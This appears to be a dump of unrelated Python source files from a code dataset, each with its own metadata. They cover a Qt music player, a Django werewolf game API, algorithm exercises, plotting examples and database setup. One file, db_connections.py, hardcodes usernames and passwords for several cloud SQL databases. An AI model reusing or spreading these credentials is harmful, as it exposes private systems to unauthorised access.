= pd.isnull(df.open)\n df.close.fillna(method='pad', inplace=True)\n df.volume.fillna(0, inplace=True)\n df.loc[mask, [\"high\", \"low\", \"open\"]] = df.loc[mask, \"close\"]\n return df\n","sub_path":"tdx/utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"316777668","text":"class PyColor:\n PURPLE = '\\033[95m'\n BLUE = '\\033[94m'\n GREEN = '\\033[92m'\n YELLOW = '\\033[93m'\n RED = '\\033[91m'\n DEFAULT = '\\033[0m'\n\n def Disable(self):\n self.PURPLE = ''\n self.BLUE = ''\n self.GREEN = ''\n self.YELLOW = ''\n self.RED = ''","sub_path":"PyColor.py","file_name":"PyColor.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"223857497","text":"# This file is part of the GBI project.\n# Copyright (C) 2012 Omniscale GmbH & Co. KG \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport threading\nimport requests\nimport werkzeug.serving\n\nimport logging\n\n# request handler that uses our logger\nclass WSGIRequestHandler(werkzeug.serving.WSGIRequestHandler):\n def log(self, type, message, *args):\n lvl = logging.getLevelName(type.upper())\n if not isinstance(lvl, int):\n lvl = logging.INFO\n self.server.logger.log(lvl, message, *args)\n\n\nclass WebServerThread(threading.Thread):\n \"\"\"\n WSGI server that runs in a seperate thread and support graceful\n shutdown.\n \"\"\"\n\n def __init__(self, host, port, app, logger_name=__name__):\n threading.Thread.__init__(self)\n self.app = app\n self.host = host\n self.port = port\n self.server = werkzeug.serving.ThreadedWSGIServer(\n self.host, self.port, self.app, handler=WSGIRequestHandler\n )\n self.server.logger = logging.getLogger(logger_name)\n\n def run(self):\n self.server.serve_forever()\n\n def shutdown(self):\n self.server.shutdown_signal = True\n # make request to server so that it can handle the shutdown_signal\n try:\n requests.get(\"http://%s:%d/__\" % (self.host, self.port), timeout=1)\n except requests.exceptions.RequestException:\n pass\n","sub_path":"gr/gbi-client/app/geobox/lib/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"595363070","text":"# SWEA 1860\n\nT = int(input())\nfor tc in range(1, T + 1):\n N, M, K = map(int, input().split())\n customer = list(map(int, input().split()))\n time = 0\n bun = 0\n # 손님이 오는 초를 리스트에 저장하고, 가장 늦게오는 손님을 기준으로,\n # 방문 리스트를 만든다.\n for i in range(N):\n if time < customer[i]:\n time = customer[i]\n comming = [0] * (time + 1)\n # 손님이 방문한 시간초에 해당하는 index를 방문리스트에 +1하여 체크한다.\n for i in range(N):\n comming[customer[i]] = 1\n # 만약 0초에 손님이 온다면 붕어빵을 줄 수 없으므로, \n # Impossible을 저장하고 반복문을 빠져나온다.\n for i in range(1, time + 1):\n if comming[0] == 1:\n res = 'Impossible'\n break\n # M초마다 K개의 붕어빵을 더해준다.\n if i % M == 0:\n bun += K\n # 방문리스트에 손님이 있을경우 붕어빵 하나를 뺀다.\n if comming[i] == 1:\n bun -= 1\n # 그런데 만약 줄 붕어빵이 남아있지 않은경우 Impossible 저장후 반복문을 빠져나온다.\n if bun < 0:\n res = 'Impossible'\n break\n # 앞의 모든 조건을 끝까지 거쳤음에도 한번도 붕어빵의 개수가 음수로 내려가지 않았다면,\n # 가능한 경우이므로 Possible 을 res에 저장\n if i == time and bun >= 0:\n res = 'Possible'\n print('#{} {}'.format(tc, res))","sub_path":"Algo/SWEA/1860_진기의최고급붕어빵.py","file_name":"1860_진기의최고급붕어빵.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"506617520","text":"import sys\nfrom PyQt4 import QtCore, QtGui\nfrom PyQt4.phonon import Phonon\nfrom mutagen.id3 import ID3\n\nclass Frederic(QtGui.QDialog):\n\n def __init__(self):\n QtGui.QWidget.__init__(self)\n\n vbox = QtGui.QVBoxLayout(self)\n\n self.setWindowTitle(\"Frederic Music Player\")\n self.move(400, 200)\n\n self.label = QtGui.QLabel(self)\n self.status = QtGui.QLabel(self)\n self.play = QtGui.QPushButton(\"Play\")\n self.pause = QtGui.QPushButton(\"Pause\")\n self.stop = QtGui.QPushButton(\"Stop\")\n self.siguiente = QtGui.QPushButton(\"Siguiente\")\n self.anterior = QtGui.QPushButton(\"Anterior\")\n self.listWidget = QtGui.QListWidget(self)\n\n self.agregar = QtGui.QPushButton(\"Agregar\")\n self.eliminar = QtGui.QPushButton(\"Eliminar\")\n self.artist = None\n self.song = None\n\n # Phonon settings\n\n self.player = Phonon.createPlayer(Phonon.MusicCategory)\n self.player.setTickInterval(100)\n self.player.tick.connect(self.ticking)\n self.spin = Phonon.SeekSlider(self.player, self)\n\n # Implementing the layout\n\n vbox.addWidget(self.label)\n vbox.addWidget(self.status)\n\n hbox0 = QtGui.QHBoxLayout(self)\n\n hbox0.addWidget(self.play)\n hbox0.addWidget(self.pause)\n hbox0.addWidget(self.stop)\n hbox0.addWidget(self.anterior)\n hbox0.addWidget(self.siguiente)\n\n vbox.addLayout(hbox0)\n\n vbox.addWidget(self.listWidget)\n\n hbox = QtGui.QHBoxLayout(self)\n\n hbox.addWidget(self.agregar)\n hbox.addWidget(self.eliminar)\n\n vbox.addLayout(hbox)\n vbox.addWidget(self.spin)\n\n self.setLayout(vbox)\n\n self.play.clicked.connect(self.funcPlay)\n self.agregar.clicked.connect(self.funcAgregar)\n self.eliminar.clicked.connect(self.funcEliminar)\n self.pause.clicked.connect(lambda: self.player.pause())\n self.stop.clicked.connect(lambda: self.player.stop())\n self.player.aboutToFinish.connect(self.nextSongQueued)\n self.siguiente.clicked.connect(self.nextSong)\n self.anterior.clicked.connect(self.previousSong)\n\n self.file_name = None\n self.data = None\n self.songs = {}\n self.SongPlaying = None\n self.SongQueued = None\n\n def funcPlay(self):\n self.label.setText(self.listWidget.currentItem().text())\n CurrentSong = (self.listWidget.currentItem().text())\n self.SongPlaying = CurrentSong\n SongToPlay = self.songs[CurrentSong]\n self.player.setCurrentSource(Phonon.MediaSource(SongToPlay))\n self.player.play()\n\n def funcPause(self):\n self.player.pause()\n\n def ticking(self, time):\n displayTime = QtCore.QTime(0, (time / 60000) % 60, (time / 1000) % 60)\n self.status.setText(displayTime.toString('mm:ss'))\n\n def funcAgregar(self):\n self.file_name = QtGui.QFileDialog.getOpenFileName(\n self, \"Open Data File\", \"\", \"MP3 (*.mp3)\")\n\n id3 = ID3(self.file_name)\n\n try:\n self.data = self.artist = id3['TPE1'].text[0] + \" - \" + id3[\"TIT2\"].text[0]\n self.songs[self.data] = self.file_name\n self.listWidget.addItem(self.data)\n except:\n self.data\n self.songs[self.file_name] = self.file_name\n self.listWidget.addItem(self.data)\n d = QtGui.QMessageBox()\n d.setWindowTitle('Error!')\n d.setText(\"El archivo que ha elegido no funciona. Seleccione otro archivo por favor.\")\n d.exec_()\n\n def funcEliminar(self):\n self.listWidget.takeItem(self.ui.listWidget.currentRow())\n\n def nextSongQueued(self):\n next = self.listWidget.currentRow() + 1\n nextSong = self.listWidget.item(next).text()\n self.SongQueued = nextSong\n SongToPlay = self.songs[nextSong]\n self.player.enqueue(Phonon.MediaSource(SongToPlay))\n self.label.setText(self.SongQueued)\n self.SongPlaying = self.SongQueued\n\n def nextSong(self):\n next = self.listWidget.currentRow() + 1\n nextSong = self.listWidget.item(next).text()\n self.SongQueued = nextSong\n SongToPlay = self.songs[nextSong]\n self.label.setText(self.SongQueued)\n self.SongPlaying = self.SongQueued\n self.player.setCurrentSource(Phonon.MediaSource(SongToPlay))\n self.player.play()\n self.listWidget.setCurrentRow(next)\n\n def previousSong(self):\n next = self.listWidget.currentRow() - 1\n nextSong = self.listWidget.item(next).text()\n self.SongQueued = nextSong\n SongToPlay = self.songs[nextSong]\n self.label.setText(self.SongQueued)\n self.SongPlaying = self.SongQueued\n self.player.setCurrentSource(Phonon.MediaSource(SongToPlay))\n self.player.play()\n self.listWidget.setCurrentRow(next)\n\napp = QtGui.QApplication(sys.argv)\nw = Frederic()\nw.show()\nsys.exit(app.exec_())","sub_path":"mp3test3.py","file_name":"mp3test3.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"474193673","text":"import codecs\nimport re\n\ndef verifier (mot, tirage) :\n resultat = 0 \n vocab = {} #dico de tableau des correspondances des lettres du tirage\n for v in tirage: #pour chaque lettre du tirage\n vocab[v] = tirage.count(v) #calcule la fréquence de chaque lettre du tirage\n for l in mot: #pour chaque lettre du mot du lexique M\n if l in vocab and vocab[l] > 0: #si la lettre est dans le tirage et qu'elle est supérieure à 0\n vocab[l] = vocab[l] - 1 #alors on diminue sa fréquence de 1.\n resultat += 1 \n else:\n return False\n if resultat == len (mot):\n return True\n\n\n\n\ndef find_word (text) :\n text = text.replace (\"'\", \"'\")\n words = text.split()\n mots= []\n for w in words:\n if not \"-\" in w :\n if w.isalpha() and len(w) <=9 and w.islower():\n w= w.strip()\n mots.append(w)\n return mots\n\n\n\n\ndef extraire (fichier):\n with codecs.open(fichier, \"r\", \"utf8\") as inputF:\n corpus = inputF.read()\n mots_corpus = find_word(corpus)\n return mots_corpus\n\n\n\n\n\n\n\n\n\n\n\ndef main (): #appeler les fonctions dans l'ordre\n fichier_reel = \"miniCorpus.txt\"\n liste_mots= [] \n liste_mots = extraire(fichier_reel) \n ensemble_mots = set(liste_mots) # transforme notre liste en ensemble \n tirage = [\"a\", \"e\", \"l\", \"n\", \"u\", \"s\", \"i\", \"o\", \"f\", \"r\"]\n print (\"Voici les lettres du tirage:\",' '.join(tirage))\n mot = input (\"Propose un mot avec les lettres de ce tirage : \" )\n if verifier (mot,tirage) :\n print (\"Bravo, ton mot \",mot,\" est compatible avec ce tirage\")\n else :\n print (\"Booo, ton mot : \", mot, \"n'est pas compatible avec le tirage ! \")\n mots_lexique = {}\n for i in ensemble_mots : #liste mots = extraire. on va intégrer les mots dont les clé sont les anagrammes de notre élément\n ws = \"\".join(sorted(list(i))) #tri dans l'ordre alphabétique ; coupe le mot en lettre individuelle\n if ws in mots_lexique: # on regarde si le mot est dans le dictionnaire, on fait les append dans le dictionnaire. Si la clé existe dans le dico des correspondances alors on ajoute la valeur à clé déjà existante. \n mots_lexique[ws].append(i) # si le mot est dan le lexique on l'ajoute dans la liste i. on ajoute les mots (la valeur) à la clef existante. \n else:\n mots_lexique[ws] = [i]\n mots_possible = []\n for mot in mots_lexique :\n if verifier(mot,tirage):\n valeur = \"\".join(mots_lexique[mot]) #garde uniquement la valeur du couple et le transforme en texte\n mots_possible.append(valeur) #ajoute valeur à la liste des mots possibles avec le tirage\n for u in mots_possible:\n print (u,\"\\n\") #affiche les mots de notre corpus qui sont possibles avec notre tirage \n \n \"\"\"for mot in mots_lexique: #pour chaque element du tableau de correpsondances du lexique\n vocab = {} #dico de tableau des correspondances des lettres du tirage\n for b in tirage: #pour chaque lettre du tirage\n vocab[b] = tirage.count(b) #calcule la fréquence de chaque lettre du tirage\n verifier = True\n for l in mot: #pour chaque lettre du mot du lexique M\n if l in vocab and vocab[l] > 0: #si la lettre est dans le tirage et qu'elle est supérieure à 0\n vocab[l] = vocab[l] - 1 #alors on diminue sa fréquence de 1.\n else:\n verifier = False\"\"\"\n \n \n \n \n \n \nif __name__ == \"__main__\" :\n main()\n \n \n","sub_path":"DM5_seance412.py","file_name":"DM5_seance412.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"109770681","text":"import logging\nimport smc.actions\nimport smc.api.common as common_api\n\nlogger = logging.getLogger(__name__)\n\ndef element(name, objtype=None):\n \"\"\" \n Remove element from the SMC by name. Optionally you can also specify an object\n filter\n :param name: name for object to remove\n :param objtype (optional): filter to add to search for element, i.e. host,network,single_fw,etc\n :return None \n \"\"\"\n \n removable = smc.actions.search.element_info_as_json(name)\n if removable:\n return common_api.delete(removable.get('href'))\n \n else:\n logger.info(\"No element named: %s, nothing to remove\" % name)","sub_path":"smc/actions/remove.py","file_name":"remove.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"220148953","text":"from accounts.models import User\n\n\nclass AuthenticatorMiddleware(object):\n def process_request(self, request):\n try:\n token = request.META['HTTP_X_TOKEN']\n request.user = User.objects.get(token=token)\n except (User.DoesNotExist, KeyError):\n request.user = None\n","sub_path":"accounts/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"244349528","text":"import pyodbc\nfrom sqlalchemy import create_engine\nimport urllib\n\n# \"PYODBC ODSRPT -- PYODBC CONNECTION FOR ODSRPT\n\nconn = (\n r'DRIVER={SQL Server};'\n r'SERVER=KNEODSSWP001.kiewitplaza.com;'\n r'DATABASE=ODSRPT;'\n r'Trusted_Connection=yes;'\n)\n\n# pyodbc_odsrpt = pyodbc.connect(conn)\n\n\n# \"TRUE SOURCE\" -- SQLALCHEMY ENGINE FOR ODSRPT (i.e. SAP / ODS)\n\nconn_true_source = (\n r'DRIVER={ODBC Driver 17 for SQL Server};'\n r'SERVER=KNEODSSWP001.kiewitplaza.com;'\n r'DATABASE=ODSRPT;'\n r'Trusted_Connection=yes;'\n)\n\n\nstr_quoted = urllib.parse.quote_plus(conn_true_source)\nconn_true_source = create_engine(\n 'mssql+pyodbc:///?odbc_connect={}'.format(str_quoted), fast_executemany=True)\n## \"EDW SOURCE\"\n\nconn_edw_source = (\n r'DRIVER=Teradata;'\n r'DBCNAME=EDWPROD;'\n)\n\n# try:\n# conn_edw_source = pyodbc.connect(conn_edw_source)\n \n# except pyodbc.InterfaceError:\n# conn_edw_source = None\n\n## \"SQL SERVER WRITE\"\n\nconnections = {\n 'development': (\n r'DRIVER={ODBC Driver 17 for SQL Server};'\n r'SERVER=asdbs-ps-scus-kpa.database.windows.net;'\n r'DATABASE=db-ps-scus-kpa;'\n r'UID=kpaOwner;'\n r'PWD=1hGKxqKK*$Lq;'\n ),\n 'testing': (\n r'DRIVER={ODBC Driver 17 for SQL Server};'\n r'SERVER=localhost;'\n r'DATABASE=master;'\n r'UID=sa;'\n r'PWD=Password1;'\n ),\n 'qa': (\n r'DRIVER={ODBC Driver 17 for SQL Server};'\n r'SERVER=asdbs-ps-scus-kpa-2.database.windows.net;'\n r'DATABASE=db-ps-scus-kpa-1;'\n r'UID=kpa-1-sql-owner;'\n r'PWD=za1u5ayUNa7rab8p;'\n ),\n 'uat': (\n r'DRIVER={ODBC Driver 17 for SQL Server};'\n r'SERVER=asdbs-ps-scus-kpa-2.database.windows.net;'\n r'DATABASE=db-ps-scus-kpa-3;'\n r'UID=kpa-3-sql-owner;'\n r'PWD=thAquqUcrlkIBe2H;'\n ),\n 'production': (\n r'DRIVER={ODBC Driver 17 for SQL Server};'\n r'SERVER=asdbs-ps-scus-kpa-2.database.windows.net;'\n r'DATABASE=db-ps-scus-kpa-2;'\n r'UID=kpa2Owner;'\n r'PWD=2J4a?pL2QeHvCB7b;'\n )\n}\n\nstr_quoted = urllib.parse.quote_plus(connections['development'])\n\nengine = create_engine(\n 'mssql+pyodbc:///?odbc_connect={}'.format(str_quoted), fast_executemany=True)\n\ndb_dict = {\n # 'pyodbc_odsrpt': pyodbc_odsrpt,\n 'conn_true_source': conn_true_source,\n # 'conn_edw_source': conn_edw_source,\n 'engine': engine\n}\n","sub_path":"{{ cookiecutter.repo_name }}/db_connections.py","file_name":"db_connections.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"366868568","text":"'''\n88. Merge Sorted Array\nProblem Link : https://leetcode.com/problems/merge-sorted-array\nRuntime: 16 ms\nMemory Usage: 13.3 MB\n'''\nclass Solution(object):\n def merge(self, nums1, m, nums2, n):\n c=len(nums1)\n while c>m:\n if 0 in nums1:\n nums1.remove(0)\n c-=1\n for i in range(0,len(nums2)):\n nums1.append(nums2[i])\n nums1.sort()","sub_path":"Python/88. Merge Sorted Array.py","file_name":"88. Merge Sorted Array.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"310584807","text":"# Create your views here.\nimport json\nimport decimal\n\nfrom django.http import HttpResponse\n\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login as django_login\nfrom wwmafia.models import Game, Player, Role\n\nSUCCESS = 'Success'\nFAILURE = 'Failure'\n\n@csrf_exempt\ndef new_user(request):\n if request.POST:\n username = request.POST['username']\n email = request.POST['email']\n password = request.POST['password']\n\n if len(User.objects.filter(username=username)) > 0:\n status = FAILURE\n message = 'User already has an account.'\n else:\n #user = User.objects.create_user(username, email, password)\n Player.create(username=username, email=email, password=password)\n status = SUCCESS\n message = \"User account for \" + username + ' was created.'\n else:\n status = FAILURE\n message = 'POST expected.'\n \n result = {'status':status, 'message': message}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef login(request):\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n try: \n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n django_login(request, user)\n status = SUCCESS\n message = unicode(user) + ' is logged in.'\n else:\n status = FAILURE\n message = unicode(user) + ' is disabled.' \n else:\n status = FAILURE\n message = 'Incorrect login information.'\n\n except User.DoesNotExist:\n status = FAILURE\n message = \"User does not exist.\"\n else:\n status = FAILURE\n message = 'POST expected.'\n\n result = {'status': status, 'message': message}\n\n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef new_game(request):\n user = request.user\n if user.is_authenticated():\n game = Game.create(mayor=user.player)\n status = SUCCESS\n message = unicode(user) + ' has created game ' + unicode(game) + '.'\n game_id = game.id\n else:\n status = FAILURE\n message = \"Log-In Required.\"\n game_id = None\n \n result = {\"status\":status, \"message\":message, \"game\": game_id}\n\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef join_game(request):\n user = request.user\n if user.is_authenticated():\n game_id = request.POST['game']\n try:\n game = Game.objects.get(id=game_id)\n game.add_player(user.player)\n status = SUCCESS\n message = unicode(user) + ' joined game ' + unicode(game) + '.'\n except Game.DoesNotExist:\n status = FAILURE\n message = 'Game does not exist.'\n except Game.AlreadyInGameError:\n status = SUCCESS\n message = unicode(user) + ' is already in game ' + game_id + '.'\n except Game.WrongPhaseError:\n status = FAILURE\n message = 'Game is already in progress'\n else:\n status = FAILURE\n message = 'Log-In Required.'\n \n result = {\"status\":status, \"message\":message}\n \n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef leave_game(request):\n user = request.user\n if user.is_authenticated():\n if user.player.active_role is not None:\n user.player.active_role.leave_game()\n status = SUCCESS\n message = unicode(user) + ' has left the game.'\n else:\n status = SUCCESS\n message = unicode(user) + ' is not in a game.'\n else:\n status = FAILURE\n message = 'Log-In Required.'\n \n result = {\"status\":status, \"message\":message}\n\n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef start_game(request):\n user = request.user\n if user.is_authenticated():\n try:\n user.player.active_role.start_game()\n status = SUCCESS\n message = \"Game Started.\"\n except Game.WrongPhaseError as e:\n status = FAILURE\n message = \"Game \" + str(e.game_id) + \" has already started.\"\n except Role.IsNotMayorError:\n status = FAILURE\n message = \"Games can only be started by the mayor.\"\n except Game.NotEnoughPlayersError as e:\n status = FAILURE\n message = \"Game can not be started with fewer than \" \\\n + e.minimum_players + \" players.\"\n else:\n status = FAILURE\n message = 'Log-In Required.'\n \n result = {\"status\":status, \"message\":message}\n\n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef rules(request):\n if request.method == 'POST':\n user = request.user\n if user.is_authenticated():\n try:\n #user.player.active_role.set_rules(request.POST)\n user.player.active_role.set_rules()\n status = SUCCESS\n message = \"Game parameters changed.\"\n except Game.WrongPhaseError as e:\n status = FAILURE\n message = \"Game rules can only be modified during enrollment.\"\n except Role.IsNotMayorError:\n status = FAILURE\n message = \"Game rules can only be modified by the mayor.\"\n else:\n status = FAILURE\n message = 'Log-In Required.'\n else:\n status = FAILURE\n message ='POST expected.'\n\n result = {\"status\": status, \"message\": message}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef cycle(request):\n user = request.user\n if user.is_authenticated():\n try:\n is_night = user.player.active_role.cycle()\n status = SUCCESS\n if is_night: message = \"Day is now Night.\"\n else: message = \"Night is now Day.\"\n except Game.WrongPhaseError as e:\n status = FAILURE\n message = \"Day/Night can only be cycled during game play.\"\n except Role.IsNotMayorError:\n status = FAILURE\n message = \"Only the mayor can alter time.\"\n except Game.GodModeDisabledError:\n status = FAILURE\n message = \"Cycle can only be altered in god mode.\"\n else:\n status = FAILURE\n message = 'Log-In Required.'\n\n result = {\"status\": status, \"message\": message}\n return HttpResponse(json.dumps(result))\n\ndef decimal_default(obj):\n if isinstance(obj, decimal.Decimal):\n return float(obj)\n raise TypeError\n\n\n@csrf_exempt\ndef smell(request):\n user = request.user\n if user.is_authenticated():\n try:\n hits = user.player.active_role.list_smellable_players()\n status = SUCCESS\n message = \"Smell executed successfully.\"\n except Role.IsNotWerewolfError:\n hits = {}\n status = FAILURE\n message = \"User is not a werewolf.\"\n else:\n hits = {}\n status = FAILURE\n message = \"Log-In Required.\"\n\n result = {\"status\":status, \"message\":message, \"hits\": hits}\n\n return HttpResponse(json.dumps(result, default=decimal_default))\n\n\n@csrf_exempt\ndef kill(request):\n user = request.user\n if user.is_authenticated():\n victim_name = request.POST['victim']\n try:\n user.player.active_role.kill_townee(victim_name)\n status = SUCCESS\n message = victim_name + ' has been killed.'\n except Role.IsNotWerewolfError:\n status = FAILURE\n message = \"User is not a werewolf.\"\n except Role.NotInGameError:\n status = FAILURE\n message = \"Users are in different games.\"\n except Role.IsNotNightError:\n status = FAILURE\n message = 'Werewolves can only hunt at night.'\n except Role.OutOfRangeError:\n status = FAILURE\n message = 'User is out of range.'\n else:\n status = FAILURE\n message = \"Log-In Required.\"\n \n result = {\"status\": status, \"message\": message}\n\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef vote(request):\n user = request.user\n if user.is_authenticated():\n votee_name = request.POST['votee']\n try:\n #votee = Role.objects.get(user__username=votee_name)\n user.player.active_role.cast_vote(votee_name)\n status = SUCCESS\n message = 'Vote for ' + votee_name + ' was cast.'\n except Role.IsNotDayError:\n status = FAILURE\n message = 'Votes can only be cast during the day.'\n except Role.ExecutionOccurredTodayError:\n status = FAILURE\n message = 'Someone was already executed today.'\n else:\n status = FAILURE\n message = \"Log-In Required\"\n\n result = {\"status\": status, \"message\": message}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef list_living(request):\n user = request.user\n if user.is_authenticated():\n if user.player.active_role is not None:\n roles = user.player.active_role.game.list_living()\n status = SUCCESS\n message = 'Living Players.'\n else:\n status = FAILURE\n message = 'User is not currently in a game.'\n roles = []\n else:\n status = FAILURE\n message = \"Log-In Required\"\n roles = []\n\n result = {\"status\": status, \"message\": message, \"roles\": roles}\n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef list_dead(request):\n user = request.user\n if user.is_authenticated():\n if user.player.active_role is not None:\n roles = user.player.active_role.game.list_defeated()\n status = SUCCESS\n message = 'Defeated Players.'\n else:\n status = FAILURE\n message = 'User is not currently in a game.'\n roles = []\n else:\n status = FAILURE\n message = \"Log-In Required\"\n roles = []\n\n result = {\"status\": status, \"message\": message, \"roles\": roles}\n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef list_wolves(request):\n user = request.user\n if user.is_authenticated():\n players = user.player.active_role.list_werewolves()\n status = SUCCESS\n message = 'Werewolves.'\n else:\n status = FAILURE\n message = \"Log-In Required\"\n players = []\n\n result = {\"status\": status, \"message\": message, \"roles\": players}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef list_games(request):\n game_list = Game.list_games()\n status = SUCCESS\n message = \"Game List Acquired\"\n result = {\"status\": status, \"message\": message, \"games\":game_list}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef report_position(request):\n user = request.user\n if user.is_authenticated():\n lat = request.POST['lat']\n lng = request.POST['lng']\n user.player.active_role.update_location(lat,lng)\n status = SUCCESS\n message = 'Position changed successfully'\n else:\n status = FAILURE\n message = \"Log-In Required\"\n \n result = {\"status\": status, \"message\": message}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef user_info(request):\n user = request.user\n if user.is_authenticated():\n status = SUCCESS\n message = \"Total Victories.\"\n user_data = user.player.info()\n else:\n status = FAILURE\n message = \"Log-In Required.\"\n\n result = {\"status\": status, \"message\": message, \"user\": user_data}\n return HttpResponse(json.dumps(result))\n\n\n@csrf_exempt\ndef game_info(request):\n user = request.user\n if user.is_authenticated():\n player = user.player\n game_data = player.active_role.game.info(player)\n status = SUCCESS\n message = 'Game data received'\n else:\n status = FAILURE\n message = 'Log-In Required'\n\n result = {\"status\": status, \"message\": message, \"game\": game_data}\n return HttpResponse(json.dumps(result, default=decimal_default))\n\n@csrf_exempt\ndef role_info(request):\n user = request.user\n if user.is_authenticated():\n role_data = user.player.active_role.info()\n status = SUCCESS\n message = 'Role data received'\n else:\n status = FAILURE\n message = 'Log-In Required'\n\n result = {\"status\": status, \"message\": message, \"role\": role_data}\n return HttpResponse(json.dumps(result))","sub_path":"wwmafia/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":12667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"382977858","text":"import matplotlib\nmatplotlib.use('TkAgg')\n\nimport matplotlib.pylab as lab\nimport matplotlib.pyplot as plt\n\nprint (lab.axis())\n# (0.0, 1.0, 0.0, 1.0)\n\n# plt.show()\n# it will show (0,0) -> (1,1) plot\n\nl = [-1, 1, -10, 10]\nlab.axis(l)\n\n# plt.show()\n# show (-1, -10) -> (1, 10) plot\n\n# draw a horizontal line at y = 0\nlab.axhline()\n# draw a vertical line at x = 0\nlab.axvline()\n\n# draw a horizontal line at y = 4\nlab.axhline(4)\n\nplt.show()\n\n","sub_path":"example_9/define_axis.py","file_name":"define_axis.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"30034884","text":"# DESCRIPTION\n# Goal setting and tracking program with progress bars,\n# I will mostly use this to track school\n#\n# Date Started: Nov 12, 2020\n# Mustafa Al-Youzbaki\n# v0.4\nimport sys\n\nrunning = True\ngoal_file = open(\"goal_file.txt\",\"r+\")\ngoals = []\n\nclass Goal:\n def __init__(self, topic, due_date, progress):\n self.topic = topic # str\n self.due_date = due_date # str\n self.progress = progress # int\n \n def increase_prog(self, amount):\n if (self.progress + amount) <= 10:\n self.progress = self.progress + amount\n\n def decrease_prog(self, amount):\n if (self.progress - amount) >= 0:\n self.progress = self.progress - amount\n\n def prog_bar(self, prog):\n progress_bar = \"\"\n if prog < 10 and prog >= 0:\n for block in range(prog):\n progress_bar = progress_bar + \"I\"\n for block in range(10-prog):\n progress_bar = progress_bar + \"*\"\n elif prog == 10:\n progress_bar = \"COMPLETED\"\n return progress_bar\n\n def status(self):\n print(\"{:<25} | DUE ON {:<25} |\".format(self.topic, self.due_date) + self.prog_bar(self.progress))\n\ndef splash_screen():\n print(\"GOAL TRACKER\")\n print(\"Use this to set goals, track their progress, and\")\n print(\"check it off your list. Basically a digital to-do list\")\n\ndef menu():\n global goals\n print(\"\\nMENU\")\n print(\"1. Add goal\")\n print(\"2. Remove goal\")\n print(\"3. Increase goal progress\")\n print(\"4. Decrease goal progress\")\n print(\"5. Exit\")\n while True:\n choice = int(input(\"Pick a #(1-5): \"))\n print(\"\")\n if choice < 1 or choice > 5:\n print(\"Please enter a number between 1 and 5.\")\n elif choice == 1: # ADD GOAL\n topic = input(\"Enter the topic: \")\n date = input(\"Enter the due date: \")\n prog = int(input(\"Enter your progress in that goal (0-10): \"))\n goals.append(Goal(topic,date,prog))\n print(\"Your goal was added!\\n\")\n break\n\n elif choice == 2: # DELETE GOAL\n index = int(input(\"Which goal would you like to remove? Enter a #: \")) - 1\n try:\n del goals[index]\n print(\"Your goal was removed!\\n\")\n break\n except:\n print(\"That is not a valid index.\")\n break\n\n elif choice == 3: # INCREASE PROGRESS\n index = int(input(\"Which goal would you like to increase? Enter a #: \")) - 1\n amount = int(input(\"How many steps would you like to increase by? Enter a #: \"))\n try:\n if (goals[index].progress + amount) > 10:\n goals[index].increase_prog(10-goals[index].progress)\n print(\"That goal was capped off and completed!\")\n else:\n goals[index].increase_prog(amount)\n print(\"That goal was increased by \" + str(amount) + \" steps!\")\n break\n except:\n print(\"Enter a valid index please.\")\n break\n\n elif choice == 4: # DECREASE PROGRESS\n index = int(input(\"Which goal would you like to decrease? Enter a #: \")) - 1\n amount = int(input(\"How many steps would you like to decrease by? Enter a #: \"))\n try:\n if (goals[index].progress - 